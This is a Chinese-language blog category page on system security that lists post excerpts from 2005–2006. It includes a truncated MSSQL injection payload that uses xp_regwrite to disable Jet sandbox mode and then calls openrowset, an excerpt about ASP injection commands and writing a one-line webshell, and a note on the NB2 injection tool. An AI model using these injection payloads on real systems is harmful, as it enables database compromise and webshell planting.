文章分类 -  系统安全

系统配置,应用 安全
摘要:;exec%20master..xp_regwrite%20'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;-- %20and%200(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=... 阅读全文
posted @ 2006-02-06 17:21 lanjue 阅读(332) 评论(0) 推荐(0)
摘要:整理的一些有用的ASP注入相关的命令 BY pt007&solaris7 整理的一些有用的ASP注入相关的命令 BY pt007&solaris7大家好 ,我们是pt007和solaris7,QQ:7491805/564935,欢迎高手前来交流:)。1、 用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exe... 阅读全文
posted @ 2006-02-06 17:19 lanjue 阅读(538) 评论(0) 推荐(0)
摘要:前段时间SQL注入很流行,用过小竹的NB2的人可能都知道,这个工具接近无敌,菜鸟用了它也能数秒把一个站给黑了,但是不了解其中的注入过程 可以说永远都进步不了吧~~首先声明,我也只是菜鸟一个,正好最近在研究SQL,随便把NB2的注入过程给研究了一个,所用工具wse,相信大家不会陌生的,网上到处有得下,我给一个地址,_blank>http://www.gxgl.com/soft/WSE06b1.zip... 阅读全文
posted @ 2006-02-06 17:08 lanjue 阅读(499) 评论(0) 推荐(0)
摘要:昨天在绿洲那玩他的计算机时发现他的IE过一会总会自动弹出一个www.139love.com之类的广告,很是奇怪,当时也没有留意。 刚才在试用GOOGLE的工具条时打开了IE的启用第三方浏览器扩展后发现我的IE也开始弹出广告了,很是奇怪,于是开始怀疑是GOOGLE的广告,因为 绿洲的计算机上也有一个GOOGLE工具条,于是拿出偶的杀手法宝:Regedit.exe,运行注册表工具,切换到... 阅读全文
posted @ 2005-11-15 11:33 lanjue 阅读(648) 评论(0) 推荐(0)